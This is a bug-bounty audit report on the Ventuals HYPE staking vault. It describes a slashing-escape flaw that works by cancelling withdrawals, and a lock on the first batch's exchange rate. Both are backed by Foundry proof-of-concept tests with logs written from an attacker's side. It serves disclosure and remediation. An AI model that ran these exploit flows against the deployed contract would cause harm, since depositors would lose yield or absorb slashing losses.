Ventuals Protocol Audit Report, Cantina Bug Bounty Program, 2026

v1.0

Tanu Gupta

February 3, 2026

Ventuals Protocol

Tanu Gupta

February 3, 2026

Prepared by: Tanu Gupta

Lead Security Researcher:

- Tanu Gupta

Table of Contents

Protocol Summary

Ventuals is creating a HYPE liquid staking token (vHYPE) to raise the minimum stake requirement for HIP-3 mainnet deployment (currently 500k HYPE). Contributors deposit HYPE into the vault and receive vHYPE, a fully transferable ERC20 that represents a claim on their underlying principal.

Any additional HYPE deposited provides a **liquidity buffer**, enabling contributors to withdraw without reducing the validator stake below the 500k minimum. The vault has no deposit cap, and contributors can deposit any amount of HYPE at any time. Contributors may also withdraw at any time, provided the 500k minimum stake is maintained.

All native staking yield accrues automatically to vHYPE holders and is reflected in the vHYPE/HYPE exchange rate.

Disclaimer

I Tanu Gupta, make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

I've used the Cantina severity matrix to determine severity. See the documentation for more details.

Audit Details

The audit was conducted from Jan 30, 2026 to Feb 3, 2026. The audit was conducted as part of the bug bounty program for Ventuals conducted by Cantina.

Scope

The audit was conducted on the following contracts:

- StakingVault
- StakingVaultManager
- RoleRegistry
- ./libraries/
- ./interfaces/

Roles

The roles were determined by the following:

- OWNER: The owner of the contract.
- MANAGER: Can deposit, withdraw, delegate, and transfer HYPE on behalf of the vault.
- OPERATOR: Handles automated, day-to-day protocol operations (e.g. transferring HYPE from HyperEVM to HyperCore, rotating the StakingVault's API wallets).

Executive Summary

The audit corresponds to the codebase at the following repository: ventuals/ventuals-contracts.

Issues found

I found one valid vulnerability in the codebase though other vulnerabilities were found but they were not deemed to be valid by the team.

Below is a valid vulnerability found in the codebase:

- M-01: First Batch Exchange Rate Lock Causes Complete Loss of Staking Yield for Early Users

Findings

High

H-01: Users Can Escape Slashing by Canceling Withdrawals During Queue Period

Summary

Users can exploit the **withdrawal cancellation** mechanism to escape slashing penalties by monitoring the vault's exchange rate and cancelling their withdrawals if a slash occurs before their withdrawal is processed into a batch.

This gives a **free option** to users with monitoring capabilities to pass on their losses to other stakes while avoiding losses themselves, thus undermining the fairness of the slashing system.

Finding Description

The protocol allows users to cancel their withdrawal requests at any time before they are processed into a batch via the `cancelWithdraw()` function.

After detecting a slashing event, users could easily protect themselves by cancelling their withdrawal request, and there is no restriction preventing users from doing so.

This creates an exploitable window where users can:

1. Queue a withdrawal when the exchange rate is favorable
2. Monitor the HyperCore L1 for slashing events
3. Cancel their withdrawal if a slash occurs and the exchange rate drops
4. Wait for the exchange rate to recover from future staking rewards
5. Re-queue their withdrawal at a better rate

Users would have enough time to detect a slash and cancel their withdrawal before it gets processed into a batch.

Root Cause

cancelWithdraw at L252-270

```
function cancelWithdraw(uint256 withdrawId) external whenNotPaused {
    Withdraw storage withdraw = withdraws[withdrawId];
    require(msg.sender == withdraw.account, NotAuthorized());
    require(withdraw.cancelledAt == 0, WithdrawCancelled());
    require(withdraw.batchIndex == type(uint256).max, WithdrawProcessed
        ()); //  Only checks if processed

    // Remove from the linked list
    withdrawQueue.remove(withdrawId);

    // Set cancelled timestamp
    withdraw.cancelledAt = block.timestamp;

    // Refund vHYPE
    uint256 vhypeAmount = withdraw.vhypeAmount;
    bool success = vHYPE.transfer(msg.sender, vhypeAmount);
    require(success, TransferFailed(msg.sender, vhypeAmount));

    emit CancelWithdraw(msg.sender, withdrawId, withdraw);
}
```

The root cause is the lack of any constraint that prevents cancellation after adverse events like slashing happens. The above function does not:

1. impose a tiny window after which cancellation is not allowed
2. penalizes users for cancelling, which would disincentivize other users
3. check if slashing has happened since the withdrawal was queued

Impact Explanation

1. There is a direct financial impact on users

For example:

- Vault: $10M TVL
- Slash event happened: 10% loss => $1M loss
- Withdrawal Queue: 20% of supply => $2M worth
- If 50% of the users escape/cancel the withdrawal request: $1M in withdrawals cancelled

Result:

- Escapers (50%) avoid $100K loss
- Non escapers (50%) absorb $200K loss

Per-user impact: Individual users can lose 10-50% more than they should.

2. Adverse spiral effect

- Sophisticated users escape, leading to concentrated losses.
- Other users learn they're being "dumped on"
- Future slashes => more escapers
- Eventually everyone tries to escape => bank run
- Only the slowest/uninformed bear ALL losses

Likelihood Explanation

1. Slashing events will occur as validator misbehavior is inevitable
2. No special permission is required
3. Easily executable via MEV bots
4. Profitable for any amount as long as losses are avoided

Proof of Concept

Paste the following code in StakingVaultManager.t.sol for simulating the issue

```
function test_SlashEscape_AttackerCancelsAfterSlash() public
    withExcessStakeBalance {
        address attacker = makeAddr("attacker");
        address victim = makeAddr("victim");

        // Mock HyperCore accounts exist
        hl.mockCoreUserExists(attacker, true);
        hl.mockCoreUserExists(victim, true);

        // Both attacker and victim deposit
        uint256 depositAmount = 5_000 * 1e18;
        vm.deal(attacker, depositAmount);
        vm.deal(victim, depositAmount);

        vm.prank(attacker);
        stakingVaultManager.deposit{value: depositAmount}();

        vm.prank(victim);
        stakingVaultManager.deposit{value: depositAmount}();

        uint256 initialRate = stakingVaultManager.exchangeRate();
        uint256 attackerVHYPE = vHYPE.balanceOf(attacker);
        uint256 victimVHYPE = vHYPE.balanceOf(victim);


        // BOTH QUEUE WITHDRAWALS (Victim first, then attacker)
        vm.prank(victim);
        vHYPE.approve(address(stakingVaultManager), victimVHYPE);
        vm.prank(victim);
        uint256[] memory victimWithdrawIds = stakingVaultManager.
            queueWithdraw(victimVHYPE);

        vm.prank(attacker);
        vHYPE.approve(address(stakingVaultManager), attackerVHYPE);
        vm.prank(attacker);
        uint256[] memory attackerWithdrawIds = stakingVaultManager.
            queueWithdraw(attackerVHYPE);


        // Verify both can still cancel
        IStakingVaultManager.Withdraw memory attackerWithdraw =
            stakingVaultManager.getWithdraw(attackerWithdrawIds[0]);
        assertEq(attackerWithdraw.batchIndex, type(uint256).max, "
            Should be cancellable");

        // SIMULATE SLASHING EVENT (10% loss)
        console.log("SLASHING EVENT OCCURS!");
        console.log("Validator misbehaves, vault loses 10%");

        // Get current state and slash by 10%
```

```
46          L1ReadLibrary.DelegatorSummary memory currentSummary =
                stakingVault.delegatorSummary();
47          uint64 slashedDelegated = uint64((currentSummary.delegated *
                90) / 100);
48
49          // Mock the slashed state
50          hl.mockDelegatorSummary(
51              address(stakingVault),
52              L1ReadLibrary.DelegatorSummary({
53                  delegated: slashedDelegated,
54                  undelegated: currentSummary.undelegated,
55                  totalPendingWithdrawal: currentSummary.
                        totalPendingWithdrawal,
56                  nPendingWithdrawals: currentSummary.nPendingWithdrawals
57              })
58          );
59
60          // Update delegation
61          hl.mockDelegation(
62              address(stakingVault),
63              L1ReadLibrary.Delegation({
64                  validator: validator,
65                  amount: slashedDelegated,
66                  lockedUntilTimestamp: uint64((block.timestamp + 1 days)
                        * 1000)
67              })
68          );
69
70          uint256 postSlashRate = stakingVaultManager.exchangeRate();
71          uint256 rateDrop = ((initialRate - postSlashRate) * 100) /
                initialRate;
72
73          console.log("After Slashing:");
74          console.log("=> New Exchange Rate: %e", postSlashRate);
75          console.log("=> Rate Drop: %s%%", rateDrop);
76          console.log("=> Total Vault Balance: %e\n", stakingVaultManager
                .totalBalance());
77
78          // Calculate expected losses
79          uint256 attackerExpectedAtOldRate = (attackerVHYPE *
                initialRate) / 1e18;
80          uint256 attackerExpectedAtNewRate = (attackerVHYPE *
                postSlashRate) / 1e18;
81          uint256 potentialLoss = attackerExpectedAtOldRate -
                attackerExpectedAtNewRate;
82
83          console.log("Attacker's Dilemma:");
84          console.log("- Would receive at old rate: %e HYPE",
                attackerExpectedAtOldRate);
85          console.log("- Would receive at new rate: %e HYPE",
                attackerExpectedAtNewRate);
```

```
86          console.log("- Potential Loss if proceeds: %e HYPE\n",
                potentialLoss);
87
88          // ATTACKER DETECTS AND CANCELS
89          console.log("ATTACKER MONITORS AND ESCAPES!");
90          console.log("- Attacker's bot detects exchange rate drop");
91          console.log("- Attacker calls cancelWithdraw()\n");
92
93          vm.prank(attacker);
94          stakingVaultManager.cancelWithdraw(attackerWithdrawIds[0]);
95
96          uint256 attackerRefundedVHYPE = vHYPE.balanceOf(attacker);
97
98          console.log("Attacker Successfully Cancels:");
99          console.log("- Refunded vHYPE: %e", attackerRefundedVHYPE);
100         console.log("- Escaped Loss: %e HYPE", potentialLoss);
101         console.log("- Status: SAFE - Can wait for rate recovery\n");
102
103         // VICTIM DOESN'T CANCEL (uninformed user)
104         console.log("VICTIM PROCEEDS (unaware of slash):");
105         console.log("- Victim doesn't monitor exchange rate");
106         console.log("- Withdrawal remains in queue\n");
107
108         // Time passes, batch gets processed
109         warp(block.timestamp + 1 days);
110
111         console.log("Batch Processing:");
112         uint256 numProcessed = stakingVaultManager.processBatch(type(
                uint256).max);
113         console.log("- Processed withdrawals:", numProcessed);
114
115         // Verify victim's withdrawal was processed
116         IStakingVaultManager.Withdraw memory victimWithdrawAfterProcess
                =
117             stakingVaultManager.getWithdraw(victimWithdrawIds[0]);
118         assertEq(victimWithdrawAfterProcess.batchIndex, 0, "Victim
                withdrawal should be in batch 0");
119
120         stakingVaultManager.finalizeBatch();
121         console.log("- Batch finalized at snapshot rate\n");
122
123         // OWNER APPLIES SLASH TO BATCH
124         console.log("Owner Applies Slash:");
125         console.log("- Owner detects slashing event on HyperCore");
126         console.log("- Calls applySlash() to adjust batch exchange rate
                \n");
127
128         vm.prank(owner);
129         stakingVaultManager.applySlash(0, postSlashRate);
130
131         console.log("Slash Applied:");
```

```
132         console.log("- Batch exchange rate adjusted to: %e",
                postSlashRate);
133         console.log("- Victim will receive even LESS due to slash
                adjustment\n");
134
135         // Wait 7 days + claimWindowBuffer for withdrawal to be
                claimable
136         uint256 claimWindowBuffer = stakingVaultManager.
                claimWindowBuffer();
137         warp(block.timestamp + 7 days + claimWindowBuffer + 1);
138
139         // Victim claims
140         vm.prank(victim);
141         stakingVaultManager.claimWithdraw(victimWithdrawIds[0], victim)
                ;
142
143         uint256 victimExpectedWithoutSlash = (victimVHYPE * initialRate
                ) / 1e18;
144         uint256 victimExpectedAtSlashedRate = (victimVHYPE *
                postSlashRate) / 1e18;
145         uint256 victimActualLoss = victimExpectedWithoutSlash -
                victimExpectedAtSlashedRate;
146
147         console.log("Victim Claims:");
148         console.log("- Expected without slash: %e HYPE",
                victimExpectedWithoutSlash);
149         console.log("- Expected at slashed rate: %e HYPE",
                victimExpectedAtSlashedRate);
150         console.log("- Actual Loss: %e HYPE", victimActualLoss);
151         console.log("- Loss percentage: %s%%\n", rateDrop);
152
153         // VERIFY EXPLOIT SUCCESS
154         console.log("EXPLOIT SUCCESSFUL");
155         console.log("- Attacker: Escaped with %e vHYPE, avoided %s%%
                loss", attackerRefundedVHYPE, rateDrop);
156         console.log("- Victim: Suffered FULL %s%% loss = %e HYPE",
                rateDrop, victimActualLoss);
157         console.log("- Outcome: Sophisticated user escaped, uninformed
                user bore the slash");
158         console.log("- Attacker can re-queue later when rate recovers
                from staking rewards\n");
159
160         // Assertions
161         assertGt(attackerRefundedVHYPE, 0, "Attacker should have vHYPE"
                );
162         assertEq(attackerRefundedVHYPE, attackerVHYPE, "Attacker should
                 get full refund");
163
164         // the point is the withdrawal was processed and attacker
                escaped
165         IStakingVaultManager.Withdraw memory finalVictimWithdraw =
```

```
            stakingVaultManager.getWithdraw(victimWithdrawIds[0]);
166         assertTrue(finalVictimWithdraw.claimedAt > 0, "Victim
            withdrawal should be claimed");
167         assertEq(finalVictimWithdraw.batchIndex, 0, "Victim should be
            in batch 0");
168     }
```

Log Results

```
1  SLASHING EVENT OCCURS!
2    Validator misbehaves, vault loses 10%
3    After Slashing:
4    => New Exchange Rate: 901639344262295081
5    => Rate Drop:  9
6    => Total Vault Balance: 55000000000000000000000
7    Attacker's Dilemma:
8    - Would receive at old rate: 5e21 HYPE
9    - Would receive at new rate: 4.508196721311475405e21 HYPE
10   - Potential Loss if proceeds: 4.918032786885245 95e20 HYPE
11
12   ATTACKER MONITORS AND ESCAPES!
13   - Attacker's bot detects exchange rate drop
14   - Attacker calls cancelWithdraw()
15
16   Attacker Successfully Cancels:
17   - Refunded vHYPE: 5e21
18   - Escaped Loss: 4.918032786885245 95e20 HYPE
19   - Status: SAFE - Can wait for rate recovery
20
21   VICTIM PROCEEDS (unaware of slash):
22   - Victim doesn't monitor exchange rate
23   - Withdrawal remains in queue
24
25   Batch Processing:
26   - Processed withdrawals: 1
27   - Batch finalized at snapshot rate
28
29   Owner Applies Slash:
30   - Owner detects slashing event on HyperCore
31   - Calls applySlash() to adjust batch exchange rate
32
33   Slash Applied:
34   - Batch exchange rate adjusted to: 9.01639344262295081e17
35   - Victim will receive even LESS due to slash adjustment
36
37   Victim Claims:
38   - Expected without slash: 5e21 HYPE
39   - Expected at slashed rate: 4.508196721311475405e21 HYPE
40   - Actual Loss: 4.918032786885245 95e20 HYPE
41   - Loss percentage: 9%
42
```

```
43    === EXPLOIT SUCCESSFUL ===
44    - Attacker: Escaped with 5e21 vHYPE, avoided 9% loss
45    - Victim: Suffered FULL 9% loss = 4.91803278688524595e20 HYPE
46    - Outcome: Sophisticated user escaped, uninformed user bore the slash
47    - Attacker can re-queue later when rate recovers from staking rewards
```

Recommendation

1. Time-based cancellation window: Implement a strict cancellation window (e.g., 1 hour) after queueing, after which withdrawals cannot be canceled:

```
1  function cancelWithdraw(uint256 withdrawId) external whenNotPaused {
2      Withdraw storage withdraw = withdraws[withdrawId];
3      require(msg.sender == withdraw.account, NotAuthorized());
4      require(withdraw.cancelledAt == 0, WithdrawCancelled());
5      require(withdraw.batchIndex == type(uint256).max, WithdrawProcessed
           ());
6
7      // +++++ Enforce cancellation window ++++++
8      require(
9          block.timestamp <= withdraw.queuedAt + 1 hours,
10         CancellationWindowExpired()
11     );
12
13     // ... rest of function
14 }
```

2. Apply a small penalty (e.g., 1-2%) on cancellation to disincentivize slashing mechanism
3. Track slashing events and prevent cancellation after slash detection

Medium

M-01: First Batch Exchange Rate Lock Causes Complete Loss of Staking Yield for Early Users

Summary

The protocol allows anyone to process a batch immediately upon launch, which snapshots the initial exchange rate (1.0) and locks it for that batch.

All users who queue withdrawals in the first batch would receive **0 staking yield** and, in some cases, even take principal losses if they deposited after rewards began accruing.

Finding Description

The fundamental promise of the Ventuals LST is stated in the README:

> "**Native yield: All native staking yield accrues proportionally to vHYPE holders.**"

However, this promise is **completely broken** for all users withdrawing in the first batch due to an exchange rate lock vulnerability.

When the first batch is created, which anyone can do immediately at launch without restrictions, the exchange rate is locked at 1.0. Regardless of the actual amount of staking yield accumulated, this results in subsequent withdrawals intended to be processed into the first batch stuck at 1.0 rate.

Users who hold vHYPE for a long time, during which the protocol earns substantial staking rewards, end up receiving the exact same amount of HYPE they originally deposited when withdrawing. They earn **zero yield** despite the protocol earning and other users receiving rewards.

This is not just **unfair** - it's a complete negation of the LST's core purpose.

Even worse: Users who deposit AFTER rewards start accruing (e.g., at rate 1.005) but before the first batch is created, then withdraw from the first batch locked at 1.0, actually **lose principal** - receiving less HYPE than they deposited.

Root Cause

The vulnerability exists because

1. there are no timing restriction on the creation of first batch
2. there is no minimum withdrawal requirement; a batch can be created even with empty queue
3. anyone can call `processBatch()` to trigger batch creation

This combination results in a situation where:

- Batch created at rate 1.0 on Day 0
- Protocol earns 8% rewards over 30 days (rate should be 1.08)
- Users queuing withdrawals on Day 30 expecting 1.08 rate
- But they're assigned to first batch still locked at 1.0
- **Users receive 0% yield instead of expected 8%**

Impact Explanation

1. 100% loss of staking yield for early users

2. Breaks core LST promise (“native yield accrues”)
3. Can cause principal loss for users depositing after initial rewards
4. Affects all early adopters (most valuable users)

For protocol with $10M TVL where first batch lasts 30 days:

- **Expected yield distribution:** $800,000 (8% over 30 days)
- **Actual yield to first batch users:** $0
- **Total user loss over first batch:** $800,000

Likelihood Explanation

1. Anyone can call processBatch() (permissionless)
2. No restrictions on first batch creation
3. Is easily executable

Proof of Concept

Paste the following test cases in the StakingVaultManager.t.sol for simulating the issue:

1. Demonstrating users in first batch receive 0 staking yield due to rate lock

```
function test_FirstBatchZeroYield_CompleteYieldLoss() public
   withExcessStakeBalance {
        address attacker = makeAddr("attacker");
        address victim = makeAddr("victim");

        // Mock HyperCore accounts
        hl.mockCoreUserExists(attacker, true);
        hl.mockCoreUserExists(victim, true);

        // ===== SETUP: Victim deposits at protocol launch (rate 1.0)
           =====
        uint256 depositAmount = 5_000 * 1e18; // Use 5k to avoid
           withdrawal splitting
        vm.deal(victim, depositAmount);

        uint256 initialRate = stakingVaultManager.exchangeRate();
        console.log("DAY 0: Protocol Launch");
        console.log("- Current Exchange Rate: %e (1.0)", initialRate);
        console.log("- Total Balance: %e HYPE\n", stakingVaultManager.
           totalBalance());

        // Victim deposits at launch
        vm.prank(victim);
```

```
20          stakingVaultManager.deposit{value: depositAmount}();
21
22          uint256 victimVHYPE = vHYPE.balanceOf(victim);
23
24          console.log("DAY 0: Victim Deposits");
25          console.log("- Deposit amount: 5,000 HYPE");
26          console.log("- vHYPE received: %e", victimVHYPE);
27          console.log("- Exchange rate: %e", initialRate);
28          console.log("- Victim expects to earn staking yield over time\n
                ");
29
30          assertEq(initialRate, 1e18, "Initial rate should be 1.0");
31          assertEq(victimVHYPE, depositAmount, "Should receive 5,000
                vHYPE at 1:1");
32
33          // ATTACKER CREATES EMPTY FIRST BATCH TO LOCK THE RATE
34          console.log("DAY 0 (moments later): Attacker Locks Rate");
35          console.log("- Attacker calls processBatch() with empty queue")
                ;
36          console.log("- Creates Batch #0 with snapshot rate = 1.0");
37
38          vm.prank(attacker);
39          uint256 processed = stakingVaultManager.processBatch(type(
                uint256).max);
40
41          IStakingVaultManager.Batch memory batch0 = stakingVaultManager.
                getBatch(0);
42
43          console.log("First Batch Created:");
44          console.log("- Batch Index: 0");
45          console.log("- Snapshot Exchange Rate: %e (LOCKED!)", batch0.
                snapshotExchangeRate);
46          console.log("- vHYPE Processed: %s", processed);
47
48          assertEq(batch0.snapshotExchangeRate, 1e18, "Snapshot locked at
                 1.0");
49          assertEq(batch0.vhypeProcessed, 0, "Batch is empty");
50          assertEq(processed, 0, "No withdrawals processed");
51
52          // TIME PASSES, STAKING REWARDS ACCUMULATE
53          console.log("DAYS 1-30: Time Passes, Rewards Accumulate");
54
55          // Fast forward 30 days
56          warp(block.timestamp + 30 days);
57
58          // Mock staking rewards: 8% increase in delegated amount (
                WITHOUT minting new vHYPE)
59          L1ReadLibrary.DelegatorSummary memory currentSummary =
                stakingVault.delegatorSummary();
60          uint64 newDelegated = uint64((currentSummary.delegated * 108) /
                 100); // +8%
```

```
61
62          _mockDelegations(validator, newDelegated);
63
64          uint256 currentRate = stakingVaultManager.exchangeRate();
65          uint256 rateIncrease = currentRate > initialRate ? ((
                currentRate - initialRate) * 100) / initialRate : 0;
66          uint256 newTotalBalance = stakingVaultManager.totalBalance();
67
68          console.log("- Days passed: 30");
69          console.log("- New Total Balance: %e HYPE", newTotalBalance);
70          console.log("- Current live exchange rate: %e", currentRate);
71          console.log("- Rate increase: %s%%", rateIncrease);
72          console.log("- Victim's vHYPE now worth: %e HYPE at current
                rate\n", (victimVHYPE * currentRate) / 1e18);
73
74          uint256 expectedAtCurrentRate = (victimVHYPE * currentRate) / 1
                e18;
75          uint256 expectedYield = expectedAtCurrentRate - depositAmount;
76
77          console.log("Victim's Expectation:");
78          console.log("- Original deposit: 5,000 HYPE");
79          console.log("- Expected withdrawal: %e HYPE",
                expectedAtCurrentRate);
80          console.log("- Expected yield: %e HYPE (%s%%)\n", expectedYield
                , rateIncrease);
81
82          // VICTIM QUEUES WITHDRAWAL
83          console.log("DAY 30: Victim Queues Withdrawal");
84          console.log("- Victim held vHYPE for 30 days");
85          console.log("- Victim sees current rate: %e", currentRate);
86          console.log("- Victim queues withdrawal expecting yield\n");
87
88          vm.prank(victim);
89          vHYPE.approve(address(stakingVaultManager), victimVHYPE);
90          vm.prank(victim);
91          uint256[] memory withdrawIds = stakingVaultManager.
                queueWithdraw(victimVHYPE);
92
93          console.log("Withdrawal Queued:");
94          console.log("- Withdraw ID: %s", withdrawIds[0]);
95          console.log("- vHYPE amount: %e\n", victimVHYPE);
96
97          // WITHDRAWAL PROCESSED AT LOCKED RATE
98          console.log("DAY 31: Withdrawal Processed Into First Batch");
99
100         warp(block.timestamp + 1 days);
101         stakingVaultManager.processBatch(type(uint256).max);
102
103         IStakingVaultManager.Withdraw memory withdrawal =
                stakingVaultManager.getWithdraw(withdrawIds[0]);
104         batch0 = stakingVaultManager.getBatch(0);
```

```
105
106         uint256 actualHYPEAmount = (withdrawal.vhypeAmount * batch0.
                snapshotExchangeRate) / 1e18;
107
108         console.log("- Withdrawal assigned to Batch: %s", withdrawal.
                batchIndex);
109         console.log("- Batch snapshot rate: %e (STILL 1.0!)", batch0.
                snapshotExchangeRate);
110         console.log("- Current live rate: %e (ignored!)",
                stakingVaultManager.exchangeRate());
111         console.log("- vHYPE withdrawn: %e", withdrawal.vhypeAmount);
112         console.log("- HYPE to receive: %e\n", actualHYPEAmount);
113
114         assertEq(withdrawal.batchIndex, 0, "Should be in first batch");
115         assertEq(batch0.snapshotExchangeRate, 1e18, "Rate STILL locked
                at 1.0");
116
117         // The actual HYPE amount should equal the vHYPE amount (since
                rate is 1.0)
118         assertEq(actualHYPEAmount, withdrawal.vhypeAmount, "At rate
                1.0, HYPE equals vHYPE");
119         assertLt(actualHYPEAmount, expectedAtCurrentRate, "Victim gets
                less than at current rate");
120
121         // CALCULATE VICTIM'S DEVASTATING LOSS
122         uint256 lostYield = expectedAtCurrentRate - actualHYPEAmount;
123         uint256 lossPercentage = (lostYield * 100) /
                expectedAtCurrentRate;
124
125         console.log("VICTIM'S LOSSES");
126         console.log("- Expected at current rate: %e HYPE",
                expectedAtCurrentRate);
127         console.log("- Actual at locked rate: %e HYPE",
                actualHYPEAmount);
128         console.log("- Lost yield: %e HYPE", lostYield);
129         console.log("- Loss percentage: %s%% of expected return",
                lossPercentage);
130
131         console.log("EXPLOIT SUCCESSFUL");
132         console.log("- Victim held vHYPE for 30 days");
133         console.log("- Protocol earned 8%% staking rewards");
134         console.log("- Victim received 0%% yield [LOSS]");
135         console.log("- Victim's vHYPE was worthless for yield
                generation");
136
137         // Assertions
138         assertGt(lostYield, 0, "Victim should have lost yield");
139         assertGt(currentRate, batch0.snapshotExchangeRate, "Current
                rate higher than locked");
140
141         // Victim receives at locked rate, losing ALL accumulated yield
```

```
142         assertTrue(
143             actualHYPEAmount < expectedAtCurrentRate, "CRITICAL: User
                receives less than fair value due to rate lock"
144         );
145
146         // Lost yield is 100% of expected yield (gets 0% of rewards)
147         assertApproxEqRel(lostYield, expectedYield, 0.01e18, "100% loss
                ");
148     }
```

Logs:

```
1  DAY 0: Protocol Launch
2    - Current Exchange Rate: 1e18 (1.0)
3    - Total Balance: 6e23 HYPE
4
5    DAY 0: Victim Deposits
6    - Deposit amount: 5,000 HYPE
7    - vHYPE received: 5e21
8    - Exchange rate: 1e18
9    - Victim expects to earn staking yield over time
10
11   DAY 0 (moments later): Attacker Locks Rate
12   - Attacker calls processBatch() with empty queue
13   - Creates Batch #0 with snapshot rate = 1.0
14   First Batch Created:
15   - Batch Index: 0
16   - Snapshot Exchange Rate: 1e18 (LOCKED!)
17   - vHYPE Processed: 0
18   DAYS 1-30: Time Passes, Rewards Accumulate
19   - Days passed: 30
20   - New Total Balance: 6.53e23 HYPE
21   - Current live exchange rate: 1.079338842975206611e18
22   - Rate increase: 7%
23   - Victim's vHYPE now worth: 5.396694214876033055e21 HYPE at current
       rate
24
25   Victim's Expectation:
26   - Original deposit: 5,000 HYPE
27   - Expected withdrawal: 5.396694214876033055e21 HYPE
28   - Expected yield: 3.96694214876033055e20 HYPE (7%)
29
30   DAY 30: Victim Queues Withdrawal
31   - Victim held vHYPE for 30 days
32   - Victim sees current rate: 1.079338842975206611e18
33   - Victim queues withdrawal expecting yield
34
35   Withdrawal Queued:
36   - Withdraw ID: 1
37   - vHYPE amount: 5e21
38
```

```
DAY 31: Withdrawal Processed Into First Batch
- Withdrawal assigned to Batch: 0
- Batch snapshot rate: 1e18 (STILL 1.0!)
- Current live rate: 1.079338842975206611e18 (ignored!)
- vHYPE withdrawn: 5e21
- HYPE to receive: 5e21

VICTIM'S LOSSES
- Expected at current rate: 5.396694214876033055e21 HYPE
- Actual at locked rate: 5e21 HYPE
- Lost yield: 3.96694214876033055e20 HYPE
- Loss percentage: 7% of expected return
EXPLOIT SUCCESSFUL
- Victim held vHYPE for 30 days
- Protocol earned 8% staking rewards
- Victim received 0% yield [LOSS]
- Victim's vHYPE was worthless for yield generation
```

2. Demonstrating user can even lose **principal** if depositing after rewards accumulate

```
function test_FirstBatchZeroYield_PrincipalLoss() public
   withExcessStakeBalance {
      address attacker = makeAddr("attacker");
      address victim = makeAddr("victim");

      hl.mockCoreUserExists(attacker, true);
      hl.mockCoreUserExists(victim, true);

      uint256 initialRate = stakingVaultManager.exchangeRate();
      console.log("DAY 0: Protocol Launches");
      console.log("- Initial exchange rate: %e", initialRate);
      console.log("- Total balance: %e HYPE\n", stakingVaultManager.
         totalBalance());

      // ATTACKER CREATES EMPTY FIRST BATCH TO LOCK THE RATE
      console.log("DAY 0: Attacker Creates Empty First Batch");
      vm.prank(attacker);
      stakingVaultManager.processBatch(type(uint256).max);

      IStakingVaultManager.Batch memory batch0 = stakingVaultManager.
         getBatch(0);
      console.log("- Batch #0 created with rate: %e (LOCKED)", batch0.
         snapshotExchangeRate);

      assertEq(batch0.snapshotExchangeRate, 1e18, "Snapshot locked at
         1.0");

      // REWARDS ACCUMULATE
      console.log("DAYS 1-5: Early Rewards Accumulate");
      warp(block.timestamp + 5 days);

```

```
27          // Mock 0.5% rewards (increase delegated amount only
28          L1ReadLibrary.DelegatorSummary memory currentSummary =
                stakingVault.delegatorSummary();
29          uint64 newDelegated = uint64((currentSummary.delegated * 1005) /
                1000); // +0.5%
30
31          _mockDelegations(validator, newDelegated);
32
33          uint256 rateAfterRewards = stakingVaultManager.exchangeRate();
34          uint256 newTotalBalance = stakingVaultManager.totalBalance();
35
36          console.log("- Days passed: 5");
37          console.log("- Rewards accumulated: 0.5%");
38          console.log("- New total balance: %e HYPE", newTotalBalance);
39          console.log("- Current exchange rate: %e\n", rateAfterRewards);
40
41          assertGt(rateAfterRewards, 1e18, "Rate should have increased");
42
43          // VICTIM DEPOSITS AT HIGHER RATE
44          console.log("DAY 5: Victim Deposits (Unaware of Rate Lock)");
45
46          uint256 depositAmount = 5_000 * 1e18;
47          vm.deal(victim, depositAmount);
48
49          vm.prank(victim);
50          stakingVaultManager.deposit{value: depositAmount}();
51
52          uint256 victimVHYPE = vHYPE.balanceOf(victim);
53
54          console.log("- Deposit amount: 5,000 HYPE");
55          console.log("- Exchange rate at deposit: %e", rateAfterRewards);
56          console.log("- vHYPE received: %e", victimVHYPE);
57          console.log("- Cost basis: 5,000 HYPE\n");
58
59          assertLt(victimVHYPE, depositAmount, "Should receive less vHYPE
                at higher rate");
60
61          // VICTIM WITHDRAWS AT LOCKED RATE
62          console.log("DAY 30: Victim Queues Withdrawal");
63          warp(block.timestamp + 25 days);
64
65          vm.prank(victim);
66          vHYPE.approve(address(stakingVaultManager), victimVHYPE);
67          vm.prank(victim);
68          uint256[] memory withdrawIds = stakingVaultManager.queueWithdraw
                (victimVHYPE);
69
70          warp(block.timestamp + 1 days);
71          stakingVaultManager.processBatch(type(uint256).max);
72
73          IStakingVaultManager.Withdraw memory withdrawal =
```

```
            stakingVaultManager.getWithdraw(withdrawIds[0]);
74          batch0 = stakingVaultManager.getBatch(0);
75
76          uint256 receivedHYPE = (withdrawal.vhypeAmount * batch0.
                snapshotExchangeRate) / 1e18;
77          uint256 principalLoss = depositAmount - receivedHYPE;
78
79          console.log("Withdrawal Processed:");
80          console.log("- Assigned to Batch #0");
81          console.log("- Locked rate: %e (still 1.0!)", batch0.
                snapshotExchangeRate);
82          console.log("- vHYPE withdrawn: %e", withdrawal.vhypeAmount);
83          console.log("- HYPE received: %e\n", receivedHYPE);
84
85          console.log("PRINCIPAL LOSS");
86          console.log("- Original deposit: 5,000 HYPE");
87          console.log("- HYPE received: %e", receivedHYPE);
88          console.log("- NET LOSS: %e HYPE", principalLoss);
89          console.log("- Loss percentage: %s%%\n", (principalLoss * 1000)
                / depositAmount);
90
91          console.log("OUTCOME [CRITICAL]");
92          console.log("- Victim deposited at rate %e", rateAfterRewards);
93          console.log("- Victim withdrew at locked rate 1.0");
94          console.log("- Not only zero yield, but negative return!");
95
96          // Assertions
97          assertLt(receivedHYPE, depositAmount, "Victim lost principal!");
98          assertEq(batch0.snapshotExchangeRate, 1e18, "Rate still locked
                at 1.0");
99          assertGt(rateAfterRewards, 1e18, "Rate was higher when victim
                deposited");
100
101         assertTrue(receivedHYPE < depositAmount, "CRITICAL: User lost
                principal due to rate lock");
102     }
```

Logs:

```
1   DAY 0: Protocol Launches
2    - Initial exchange rate: 1e18
3    - Total balance: 6e23 HYPE
4
5    DAY 0: Attacker Creates Empty First Batch
6    - Batch #0 created with rate: 1e18 (LOCKED)
7    DAYS 1-5: Early Rewards Accumulate
8    - Days passed: 5
9    - Rewards accumulated: 0.5%
10   - New total balance: 6.03e23 HYPE
11   - Current exchange rate: 1.005e18
12
```

```
  DAY 5: Victim Deposits (Unaware of Rate Lock)
  - Deposit amount: 5,000 HYPE
  - Exchange rate at deposit: 1.005e18
  - vHYPE received: 4.975124378109452736318e21
  - Cost basis: 5,000 HYPE

  DAY 30: Victim Queues Withdrawal
